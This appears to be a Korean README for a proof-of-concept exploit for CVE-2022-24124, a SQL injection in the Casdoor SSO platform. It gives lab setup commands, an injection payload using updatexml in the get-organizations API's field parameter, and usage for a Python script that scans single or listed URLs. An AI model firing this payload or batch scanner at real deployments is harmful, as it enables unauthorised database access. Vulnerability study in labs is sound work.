
CVE-2022-24124 exploit
Casdoor는 OAuth 2.0/OIDC 기반의 중앙 집중식 SSO(Single Sign-On) 인증 플랫폼입니다.
CVE 번호: CVE-2022-24124
CNPD 번호: CNPD-202201-7304
위험 등급: 높음 ( 7.5 HIGH )
POC/EXP: 공개됨
Casdoor < Casdoor 1.13.1 //1.13.1 버전 이전은 모두 영향을 받습니다.
이 취약점은 SQL 인젝션 취약점에 속하며, 쿼리 API에 필드 및 값 매개변수와 관련된 SQL 인젝션 취약점이 존재합니다. 예를 들어 api/get-organizations에서 확인할 수 있습니다.
취약점 이미지 가져오기
docker pull vulfocus/casdoor:1.13.0

취약점 환경 시작
docker run -itd -p 8000:8000 -it -d vulfocus/casdoor:1.13.0

취약점 환경 페이지 열기

POC를 사용하여 페이로드 구성
POC: /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)

python3 CVE-2022-24124.py -h

python3 CVE-2022-24124.py -u http://127.0.0.1

python3 CVE-2022-24124.py -f urls.txt

https://nvd.nist.gov/vuln/detail/CVE-2022-24124
https://github.com/ColdFusionX/CVE-2022-24124
https://github.com/0xAbbarhSF/CVE-2022-24124
참조: https://www.t00ls.com/thread-66989-1-1.html
연습 삼아 Python 버전을 작성했으며, 일괄 탐지 기능도 추가했습니다.